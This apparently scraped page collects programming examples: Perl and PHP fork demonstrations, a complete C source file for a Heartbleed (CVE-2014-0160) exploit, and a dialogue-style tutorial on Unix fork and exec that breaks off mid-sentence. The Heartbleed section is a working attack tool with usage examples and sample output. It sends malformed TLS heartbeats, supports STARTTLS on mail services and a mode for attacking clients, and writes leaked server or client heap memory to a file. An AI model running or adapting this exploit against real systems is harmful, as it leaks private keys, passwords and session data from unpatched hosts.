Perl – Basic Fork Example

#!/usr/local/bin/perl
 
use strict;
use warnings;
 
print "Starting main program\n";
my @childs;
 
for ( my $count = 1; $count <= 10; $count++) {
        my $pid = fork();
        if ($pid) {
        # parent
        #print "pid is $pid, parent $$\n";
        push(@childs, $pid);
        } elsif ($pid == 0) {
                # child
                sub1($count);
                exit 0;
        } else {
                die "couldnt fork: $!\n";
        }
 
 
 
}
 
foreach (@childs) {
        my $tmp = waitpid($_, 0);
         print "done with pid $tmp\n";
 
}
 
print "End of main program\n";
 
 
sub sub1 {
        my $num = shift;
        print "started child process for  $num\n";
        sleep $num;
        print "done with child process for $num\n";
        return $num;
}

 

Heartbleed – OpenSSL Application Source Code Example

/* 
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned within encrypted SSL packets and is then decrypted 
* and wrote to a file to annoy IDS/forensics. The exploit can 
* set heartbeat payload length arbitrarily or use two preset 
* values for NULL and MAX length. The vulnerability occurs due 
* to bounds checking not being performed on a heap value which 
* is user supplied and returned to the user as part of DTLS/TLS 
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to 
* 1.0.1f are known affected. You must run this against a target 
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
* This exploit leaks upto 65532 bytes of remote heap each request
* and can be run in a loop until the connected peer ends connection.
* The data leaked contains 16 bytes of random padding at the end.
* The exploit can be used against a connecting client or server,
* it can also send pre_cmd's to plain-text services to establish
* an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients
* will often forcefully close the connection during large leak
* requests so try to lower your payload request size. 
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g 
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ connecting to 192.168.11.23 443/tcp
* [ connected to 192.168.11.23 443/tcp
* [ <3 <3 <3 heart bleed <3 <3 <3
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ heartbleed leaked length=65535
* [ final record type=24, length=16384
* [ wrote 16381 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=42
* [ decrypting SSL packet
* [ final record type=24, length=18
* [ wrote 18 bytes of heap to file 'out'
* [ done.
* $ ls -al out
* -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out
* $ hexdump -C out
* - snip - snip  
*
* Use following example command to generate certificates for clients.
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \
* -lssl -Wl,-Bdynamic -lssl3 -lcrypto" 
*
* todo: add udp/dtls support.
*
* - Hacker Fantastic
*   http://www.mdsec.co.uk
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>
 
#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
        (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
         c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
 
int first = 0;
int leakbytes = 0;
int repeat = 1;
int badpackets = 0;
 
typedef struct {
    int socket;
    SSL *sslHandle;
    SSL_CTX *sslContext;
} connection;
 
typedef struct {
  unsigned char type;
  short version;
  unsigned int length;
  unsigned char hbtype;
  unsigned int payload_length;
  void* payload;
} heartbeat;
 
void ssl_init();
void usage();
int tcp_connect(char*,int);
int tcp_bind(char*, int);
connection* tls_connect(int);
connection* tls_bind(int);
int pre_cmd(int,int,int);
void* heartbleed(connection* ,unsigned int);
void* sneakyleaky(connection* ,char*, int);
 
int tcp_connect(char* server,int port){
    int sd,ret;
    struct hostent *host;
        struct sockaddr_in sa;
        host = gethostbyname(server);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd==-1){
        printf("[!] cannot create socket\n");
        exit(0);
    }
    sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = *((struct in_addr *) host->h_addr);
        bzero(&(sa.sin_zero),8);
    printf("[ connecting to %s %d/tcp\n",server,port);
        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
    if(ret==0){
        printf("[ connected to %s %d/tcp\n",server,port);
    }
    else{
        printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
        exit(0);
    }
    return sd;
}
 
int tcp_bind(char* server, int port){
    int sd, ret, val=1;
    struct sockaddr_in sin;
    struct hostent *host;
    host = gethostbyname(server);
    sd=socket(AF_INET,SOCK_STREAM,0);
    if(sd==-1){
            printf("[!] cannot create socket\n");
        exit(0);
    }
    memset(&sin,0,sizeof(sin));
    sin.sin_addr=*((struct in_addr *) host->h_addr);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
        setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
    ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
    if(ret==-1){
        printf("[!] cannot bind socket\n");
        exit(0);
    }
    listen(sd,5);
    return(sd);
}
 
 
void ssl_init(){
        SSL_load_error_strings();
        SSL_library_init();
        OpenSSL_add_all_digests();
        OpenSSL_add_all_algorithms();
        OpenSSL_add_all_ciphers();
}
 
connection* tls_connect(int sd){
        connection *c;
    c = malloc(sizeof(connection));
        if(c==NULL){
        printf("[ error in malloc()\n");
        exit(0);
    }
    c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(SSLv23_client_method());
    SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        if(SSL_connect(c->sslHandle)!=1)
                ERR_print_errors_fp(stderr);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
    return c;
}
 
connection* tls_bind(int sd){
    int bytes;
        connection *c;
        char* buf;
    buf = malloc(4096);
        if(buf==NULL){
                printf("[ error in malloc()\n");
                exit(0);
        }
    memset(buf,0,4096);
    c = malloc(sizeof(connection));
    if(c==NULL){
                printf("[ error in malloc()\n");
                exit(0);
        }
    c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(SSLv23_server_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
    SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
    SSL_CTX_SRP_CTX_init(c->sslContext);
    SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
    SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);       
    if(!SSL_CTX_check_private_key(c->sslContext)){
        printf("[!] FATAL: private key does not match the certificate public key\n");
        exit(0);
    }
    c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        int rc = SSL_accept(c->sslHandle);
    printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
    bytes = SSL_read(c->sslHandle, buf, 4095);
    printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
    if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
        return c;
}
 
int pre_cmd(int sd,int precmd,int verbose){
    /* this function can be used to send commands to a plain-text
    service or client before heartbleed exploit attempt. e.g. STARTTLS */
    int rc, go = 0;
    char* buffer;
    char* line1;
    char* line2;  
    switch(precmd){
        case 0:
            line1 = "EHLO test\n";
            line2 = "STARTTLS\n";
            break;
        case 1:
            line1 = "CAPA\n";
            line2 = "STLS\n";
            break;
        case 2:
            line1 = "a001 CAPB\n";
            line2 = "a002 STARTTLS\n";
            break;
        default:
            go = 1;
            break;
    }
    if(go==0){
        buffer = malloc(2049);
            if(buffer==NULL){
                    printf("[ error in malloc()\n");
                    exit(0);
            }
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        printf("[ banner: %s",buffer);
        send(sd,line1,strlen(line1),0);
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        if(verbose==1){
            printf("%s\n",buffer);
        }
        send(sd,line2,strlen(line2),0);
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        if(verbose==1){
            printf("%s\n",buffer);
        }
    }
    return sd;
}
 
void* heartbleed(connection *c,unsigned int type){
    unsigned char *buf, *p;
        int ret;
    buf = OPENSSL_malloc(1 + 2);
    if(buf==NULL){
                printf("[ error in malloc()\n");
                exit(0);
        }
    p = buf;
        *p++ = TLS1_HB_REQUEST;
    switch(type){
        case 0:
            s2n(0x0,p);
            break;
        case 1:
            s2n(0xffff,p);
            break;
        default:
            printf("[ setting heartbeat payload_length to %u\n",type);
            s2n(type,p);
            break;
    }
    printf("[ <3 <3 <3 heart bleed <3 <3 <3\n");
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        OPENSSL_free(buf);
    return c;
}
 
void* sneakyleaky(connection *c,char* filename, int verbose){
    char *p;
        int ssl_major,ssl_minor,al;
        int enc_err,n,i;
        SSL3_RECORD *rr;
        SSL_SESSION *sess;
    SSL* s;
        unsigned char md[EVP_MAX_MD_SIZE];
        short version;
        unsigned mac_size, orig_len;
        size_t extra;
        rr= &(c->sslHandle->s3->rrec);
        sess=c->sslHandle->session;
        s = c->sslHandle;
        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
                extra=SSL3_RT_MAX_EXTRA;
        else
                extra=0;
        if ((s->rstate != SSL_ST_READ_BODY) ||
                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
                        if (n <= 0)
                                goto apple; 
                        s->rstate=SSL_ST_READ_BODY;
                        p=s->packet;
                        rr->type= *(p++);
                        ssl_major= *(p++);
                        ssl_minor= *(p++);
                        version=(ssl_major<<8)|ssl_minor;
                        n2s(p,rr->length);
            if(rr->type==24){
                printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
                if(rr->length > 16834){
                    printf("[ error: got a malformed TLS length.\n");
                    exit(0);
                }
            }
            else{
                printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
                s->packet_length=0;
                badpackets++;
                if(badpackets > 3){
                    printf("[ error: too many bad packets recieved\n");
                    exit(0);
                }
                goto apple;
            }
        }
        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
                i=rr->length;
                n=ssl3_read_n(s,i,i,1);
                if (n <= 0) goto apple; 
        }
    printf("[ decrypting SSL packet\n");
        s->rstate=SSL_ST_READ_HEADER; 
        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
        rr->data=rr->input;
        tls1_enc(s,0);
        if((sess != NULL) &&
            (s->enc_read_ctx != NULL) &&
            (EVP_MD_CTX_md(s->read_hash) != NULL))
                {
                unsigned char *mac = NULL;
                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
                mac_size=EVP_MD_CTX_size(s->read_hash);
                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
                orig_len = rr->length+((unsigned int)rr->type>>8);
                if(orig_len < mac_size ||
                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
                   orig_len < mac_size+1)){
                        al=SSL_AD_DECODE_ERROR;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
                }
                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
                        mac = mac_tmp;
                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
                        rr->length -= mac_size;
                }
                else{
                        rr->length -= mac_size;
                        mac = &rr->data[rr->length];
                }
                i = tls1_mac(s,md,0);
                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
                        enc_err = -1;
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
                        enc_err = -1;
                }
        if(enc_err < 0){
                al=SSL_AD_BAD_RECORD_MAC;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
                goto apple;
        }
        if(s->expand != NULL){
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
                        al=SSL_AD_RECORD_OVERFLOW;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
                        goto apple;
                        }
                if (!ssl3_do_uncompress(s)) {
                        al=SSL_AD_DECOMPRESSION_FAILURE;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
                        goto apple;
                        }
                }
        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
                al=SSL_AD_RECORD_OVERFLOW;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
                goto apple;
        }
        rr->off=0;
        s->packet_length=0;
    if(first==0){
        uint heartbleed_len = 0;
        char* fp = s->s3->rrec.data;
        (long)fp++;
        memcpy(&heartbleed_len,fp,2);
        heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8;
        first = 2;
        leakbytes = heartbleed_len + 16;
        printf("[ heartbleed leaked length=%u\n",heartbleed_len);
    }
    if(verbose==1){
        { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
                printf("\n");
        }
    leakbytes-=rr->length;
    if(leakbytes > 0){
        repeat = 1;
    }
    else{
        repeat = 0;
    }
    printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
    int output = s->s3->rrec.length-3;
    if(output > 0){
        int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
            if(first==2){
            first--;
            write(fd,s->s3->rrec.data+3,s->s3->rrec.length);
            /* first three bytes are resp+len */
            printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length-3,filename);
        }
        else{
            /* heap data & 16 bytes padding */
            write(fd,s->s3->rrec.data+3,s->s3->rrec.length);
            printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length,filename);
        }
        close(fd);
    }
    else{
        printf("[ nothing from the heap to write\n");
    }
    return;
apple:
        printf("[ problem handling SSL record packet - wrong type?\n");
    badpackets++;
    if(badpackets > 3){
        printf("[ error: too many bad packets recieved\n");
        exit(0);
    }
    return;
}
 
void usage(){
    printf("[\n");
    printf("[ --server|-s <ip/dns>    - the server to target\n");
    printf("[ --port|-p   <port>      - the port to target\n");
    printf("[ --file|-f   <filename>  - file to write data to\n");
    printf("[ --bind|-b   <ip>        - bind to ip for exploiting clients\n");
    printf("[ --precmd|-c <n>         - send precmd buffer (STARTTLS)\n");
    printf("[               0 = SMTP\n");
    printf("[               1 = POP3\n");
    printf("[               2 = IMAP\n");
    printf("[ --loop|-l       - loop the exploit attempts\n");
    printf("[ --type|-t   <n>         - select exploit to try\n");
    printf("[                           0 = null length\n");
    printf("[               1 = max leak\n");
    printf("[               n = heartbeat payload_length\n");
    printf("[\n");
    printf("[ --verbose|-v            - output leak to screen\n");
    printf("[ --help|-h               - this output\n");
    printf("[\n");
    exit(0);
}
 
int main(int argc, char* argv[]){
    int ret, port, userc, index;
    int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9;
    int loop = 0;
    struct hostent *h;
    connection* c;
    char *host, *file;
    int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0;
    printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
    printf("[ =============================================================\n");
        static struct option options[] = {
            {"server", 1, 0, 's'},
            {"port", 1, 0, 'p'},
        {"file", 1, 0, 'f'},
        {"type", 1, 0, 't'},
        {"bind", 1, 0, 'b'},
        {"verbose", 0, 0, 'v'},
        {"precmd", 1, 0, 'c'},
        {"loop", 0, 0, 'l'},
        {"help", 0, 0,'h'}
        };
    while(userc != -1) {
            userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvh",options,&index);    
            switch(userc) {
                    case -1:
                            break;
                    case 's':
                if(ihost==0){
                    ihost = 1;
                    h = gethostbyname(optarg);              
                    if(h==NULL){
                        printf("[!] FATAL: unknown host '%s'\n",optarg);
                        exit(1);
                    }
                    host = malloc(strlen(optarg) + 1);
                    if(host==NULL){
                                printf("[ error in malloc()\n");
                                exit(0);
                        }
                    sprintf(host,"%s",optarg);
                        }
                break;
                    case 'p':
                if(iport==0){
                    port = atoi(optarg);
                    iport = 1;
                }
                            break;
            case 'f':
                if(ifile==0){
                    file = malloc(strlen(optarg) + 1);
                    if(file==NULL){
                                printf("[ error in malloc()\n");
                                exit(0);
                        }
                    sprintf(file,"%s",optarg);
                    ifile = 1;
                }
                break;
            case 't':
                if(itype==0){
                    type = atoi(optarg);
                    itype = 1;
                }
                break;
            case 'h':
                usage();
                break;
            case 'b':
                if(ihost==0){
                    ihost = 1;
                    host = malloc(strlen(optarg)+1);
                    if(host==NULL){
                                printf("[ error in malloc()\n");
                                exit(0);
                        }
                    sprintf(host,"%s",optarg);
                    bind = 1;
                }
                break;
            case 'c':
                if(iprecmd == 0){
                    iprecmd = 1;
                    precmd = atoi(optarg);
                }
                break;
            case 'v':
                verbose = 1;
                break;
            case 'l':
                loop = 1;
                break;
            default:
                break;
        }
    }
    if(ihost==0||iport==0||ifile==0||itype==0){
        printf("[ try --help\n");
        exit(0);
    }
    ssl_init();
    if(bind==0){
        ret = tcp_connect(host, port);
        pre_cmd(ret, precmd, verbose);
        c = tls_connect(ret);
        heartbleed(c,type);
        while(repeat==1){
            sneakyleaky(c,file,verbose);
        }
        while(loop==1){
            printf("[ entered heartbleed loop\n");
            first=0;
            repeat=1;
            heartbleed(c,type);
            while(repeat==1){
                sneakyleaky(c,file,verbose);
            }
        }
        printf("[ done.\n");
        exit(0);
    }
    else{
        int sd, pid, i;
        ret = tcp_bind(host, port);
        while(1){
                sd=accept(ret,0,0);
            if(sd==-1){
                printf("[!] FATAL: problem with accept()\n");
                exit(0);
            }
            if(pid=fork()){
                close(sd);
            }
                else{
                c = tls_bind(sd);
                pre_cmd(ret, precmd, verbose);
                heartbleed(c,type);
                while(repeat==1){
                    sneakyleaky(c,file,verbose);
                }
                while(loop==1){
                    printf("[ entered heartbleed loop\n");
                    first=0;
                    repeat=0;
                    heartbleed(c,type);
                    while(repeat==1){
                        sneakyleaky(c,file,verbose);
                    }
                }
                printf("[ done.\n");
                exit(0);
            }
        }
    }
}

PHP – Basic Fork Example

<?
 
print "Starting main program\n";
$childs = array();
 
for ( $count = 1; $count <= 10; $count++) {
        $pid = pcntl_fork();
        if ( $pid == -1 ) {
                // Fork failed          
                echo "Fork failed\n";
                exit(1);
        } else if ( $pid ) {
                # parent
                #print "pid is $pid, parent $$\n";
                array_push($childs, $pid);
        } else  {
                # child
                sub1($count);
                exit(0);
        }
 
 
 
}
 
foreach($childs as $key => $pid) {
    pcntl_waitpid($pid, $status);
}
 
print "End of main program\n";
 
 
function sub1 ($num) {
        print "started child process for  $num\n";
        sleep(10 - $num);
        print "done with child process for $num\n";
        return $num;
}
?>

 

UNIX – Fork Explained

Mr. Peabody Explains fork()

Introduction

Say, Mr Peabody. I was just reading through the Perl 5.6 release notes and noticed that a new function called fork() is now supported in Perl. In all my years of Windows programing, I’ve never heard of fork(). What’s it do?


Sherman, my boy, step over here to the WaBac(tm) machine and let me show you exactly what fork is about.

 

The thing you must understand, see, is that Perl is an effort to take the Unix Way of doing things to other platforms. Many of the functions in Perl correspond directly to Unix functionality.

The fork() function is all about process creation. That is, how do I start a new program?

But Mr Peabody: I already know how to do that in Perl! I can use system() or even backticks.

Patience, Sherman!

The fork() function goes back to how Unix creates any new process. For example the system() call fundamentally needs to create a new process, and running programs with backticks needs to create new processes as well. And under Unix (and Perl) that’s done with fork().

Let’s distinguish between processes and threads for just a moment. A process (in unix terminology) is a program with its own address space, it’s own slot in the scheduler, and resources that are all its own (except the filesystem and shared resources, of course). Processes are generally designed to run independantly of whatever else is going on on the system.

A thread, however, shares some resources with another thread. The first thread creates the second thread ususally for the purpose of taking a task and parallelizing it. For example, a web browser might create indepenendant threads for fetching network data and for running the browser itself. Under most architectures, each process can contain many threads.

We’re mostly concerned with Processes. And since you’re familar with Windows, let’s see how Windows does process creation.

 

Process Creation Under Microsoft Windows

Under Windows, to create a new “process” a Perl script (C, Visual Basic, VC++, etc…) would call the “Create Process” Windows API call.

 

The originating process (Bullwinkle, in this case) called Create Process which then constructs a new running program image out of whole cloth. Some attributes are “inherited” of course from the creating process (the user ID) but this is all handled by Windows, not really the Process::Create call.

In Perl, it looks like this:

 

	# Bullwinkle.perl
	#
	use Win32::Process;

	sub ErrorReport{
		print Win32::FormatMessage( Win32::GetLastError() );
	}

	Win32::Process::Create($ProcessObj,
		"D:\\winnt35\\system32\\rocky.exe",
		"rocky nuts",
		0,
		NORMAL_PRIORITY_CLASS,
		".")|| die ErrorReport();

The program rocky.exe, once created, starts at the beginning and runs normally as though you had typed rocky.exe at the C:\> prompt. The rocky.exe process goes along its merry way not knowing (or caring) who its creator was.

Of course, in the parent you now have a process object ($ProcessObj) that you can use to do manipulations on the process, but otherwise they’re unrelated.

 

Process Creation Under Unix

Gee, Mr. Peabody that looks pretty straightforward. How else could you create a process?

You see, Sherman, under Unix process creation looks entirely different. In the guts of Unix (the kernel)) there’s a function called fork(). This function is accessable to the user through the normal C library routines.

What fork() does is extrordinary! It takes the existing process and clones it. If you’re familar with Star Trek, this is like a bad transporter accident. An exact copy is made of each process, and each process is almost unaware of the other.

The code is executed instruction-by-instruction until the fork() call is reached. At that point, the process is cloned and now there are two identical processes running the instruction right after the fork().

In fact, they’re so identical that only one bit of information distinguishes between them: the return value of fork(). In the child process fork() appears to have returned 0. In the parent process, fork() appears to have returned a non-zero integer. This is how parent and child tell themselves apart.


Are they really identical?

Quite! If the parent had files open before the fork(), those files remain open…and the child will also have those files open complete with file pointers in the same position as before the fork(). Any data structures and memory allocated by the parent before the fork() are copied in the child. If the parent had network socket connections open before the fork(), the child will have a copy of that socket connection. The environment variables, user ID, and other associated baggage also is copied.

After the fork() however, the processes are independant. If the parent allocates new memory the child doesn’t know (or care). Newly opened filehandles are only accessable in the process that opened them.

All that copying of data structures sounds slow.

Always the pessimist, Sherman?

The designers of Unix weren’t fools. They developed a scheme called copy on write which would prevent this slowness from happening.

Essentially copy on write means that as the kernel executes the fork() all of the pages of memory in the parent are tagged to say that, “if this page of memory is ever written to, it needs to be copied first”. Afterwards, if the CPU ever goes to write to that page of memory it’s first copied for the other process and the tag removed.

So only those pages that need to be copied will be. So in the beginning, the child is mostly a “skeleton” of page-pointers back to the original pages of memory. After running for a while, those pages are copied into the child’s own private memory space.


Ok I think I understand now. But how do new kinds of programs get created? This would eventually give me a system full of clones–not particularly useful.

The fork() system call is only the first shoe. The other shoe is exec(). And together they make a nice pair. The exec() function, like fork(), is a C library routine which directly accesses a kernel routine of similar name.

What exec() does is overlay a process with new code. The original process’ baggage (environment variables, open file handles, user ID, etc…) are kept, but the code and the data associated with the process is dropped in place of a new program.

So very often in Unix code you’ll see something like this:

 

	# Perl
	$pid=fork();
	die "Cannot fork: $!" if (! defined $pid);
	if (! $pid) {
		# Only the child does this
		exec("/usr/bin/rocky");
		die "Could not exec: !$";
	}

Immediately after forking, the child goes and overlays his own code with the code of another program (/usr/bin/rocky, in this case). The new program inherits many of the attributes of its parent.


For example, if you log into a Unix system over a network: inetd forks, and the child execs telnetd to handle the telnet connection. When that connection is established, telnetd execs login. When your login is completed, login execs your shell. Every time you run a program at your shell prompt the shell itself forks and the child execs the program whose name you typed.

If you examine the output of the ps program on any Unix system, you’ll note that each process has a process ID number (the value returned by fork()) and a parent process ID number (the child can see this with the getppid() function). Thus, the parentage of a process can be traced all the way back to process ID #1–init.

 

UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 Mar31 ?        00:00:04 init [5]
root       374     1  0 Mar31 ?        00:00:00 inetd
root     11254   374  0 23:38 ?        00:00:00 in.telnetd
root     11255 11254  0 23:38 pts/3    00:00:00 login -- clintp
clintp   11256 11255  0 23:38 pts/3    00:00:00 -bash
clintp   11288 11256  0 23:39 pts/3    00:00:00 ps -ef

Wait! If init is the originator of all other processes, then how was init created?

Ahh! Like all questions of origin, the answer is complicated. The init process is typically constructed by the Unix kernel when the system boots. Here fork() isn’t used: the process is simply created ex nihilo. The init process after creation, goes about creating all of the other processes that are required to get the system up and running using fork() and exec().

If you look at a ps listing on a Unix system, you’ll see a LOT of processes have init as their parent. Some of these were actually created by init, and some were not. In addition to being the creator, init also inherits any orphaned processes: processes whose parent process dies and they continue running.

Parents forking, children, killing, dying… that’s pretty gruesome, Mr. Peabody.

Oh it gets even more gruesome than that. Child processes which die become zombie processes (also called “defunct processses”). They go into a state where their memory is freed and they’re no longer running any code–they’re just hanging around to have their death acknowledged by their parent.

The parent process has to occasionally reap the dead children by using the wait() function. Doing this allows dead children to completely disappear.

Details of this exercise are in the Unix or Perl documentation for the wait function.

 

Why Do Things the Unix Way?

Ok, Mr. Peabody of what use is all of this? What good to me is fork() and exec()?

The beauty and elegance of this process creation technique isn’t in the processes that are created, its in the baggage. You’ll recall that when a process is forked and execed, the “baggage” that comes along consists of:

  • Open filehandles (this includes sockets)
  • Environment
  • Process’ user ID
  • …and a few other items.

Having the environment and user ID of your parent is a nice security feature. This ensures that as processes are created that new processes have only as much “stuff” in them as their parents. Thus, parents can carefully control what kind of environment that their children receive.

So, for example, a program which listens on a network port as root (the superuser) can fork() and carefully take away its own privelages and then exec() an insecure user-program. The user-program will have no more privelages than the parent wants it to have.

I guess that’s clever. I’m still not impressed.

Patience, m’boy. Patience.

The one application for fork() which drove its creation under Win32 was for networking. In a network server application, a process is bound to a network port and listens for connections. For example, a web server is usually bound to port 80 on a computer and listens there for incoming connections.

Only one process may be bound to a port at a time. Thus, only one program can be listening to port 80 at a time. Also, if the port is unbound–even for a little bit of time–an incoming request will fail with “connection refused”.

When a connection comes in, the code designer has to make a choice–should the incoming (and outgoing) stream of data be processed, or should we wait for new connections?

Both horns of this dilemma are dangerous. On the one hand, processing the request from the user quickly is important and all due speed should be given to that. But on the other hand, while processing the user’s data we must not ignore new incoming connections for too long–or they’ll time out.

What programmers traditionally do is take a middle ground. They’ll process the user-request, and occasionally go back and listen for a new connection. When new connections are received, they are queued up until the first user request is satisfied, and then processed in order.

 


This queuing and polling kind of scheme makes for very complicated and buggy code.

Following me so far Sherman?

Yup!

Now the Unix way of doing this is simple. Since network sockets (like filehandles) are inherited by children Unix network servers typically work like this:

 

Step 1: The server binds to a network port and listens for a connection. 
Step 2: Upon receipt of a connection, the server and the client establish the socket.
Step 3: The server then immediately performs a fork(). Remember, the child inherits open file descriptors.
Step 4 (for the parent): The parent closes his copy of the socket and goes back and listens for another connection.Step 4 (for the child): The child inherits the socket connection and talks to the client on the other end. When the child is done processing, it simply exits.

That’s it. And if you don’t want the code for processing the connection in the same physical program as the server port-listener, simply have the child exec() the process you DO want to handle the connection–it’ll inherit the socket as well.

The Unix utility inetd works just like this, and runs almost every interesting server that runs on a Unix system.

Gee! That’s great! Are there other things I can do with fork()?

Almost any task that lends itself to parallelism can be tackled with fork() and other tools (Interprocess Communications, for example).

Be careful with fork() though. Remember to check to see if fork() worked by examining the return value. If fork() returns undef, then the fork failed. The reason for failure will be stored in $! (errno in C). Too much forking can cause a system to bog down creating processes instead of doing real work. These kinds of programs that fork indiscriminantly are known as fork bombs.

 

How Perl Does It

So what’s the big fuss over Perl having fork() now?

Well it really is worth a fuss. You see Sherman: Microsoft has one way of doing process creation, Unix has another. Anything which can bridge this gap is worth getting excited about.

Getting fork() to work at all in a Microsoft Windows environment is a feat because Windows simply doesn’t work that way. There’s no concept of “cloning” an entire running process as a new process and having both clones continue running where they left off, much less having the clones inherit file handles and such.

So how’d they do it?

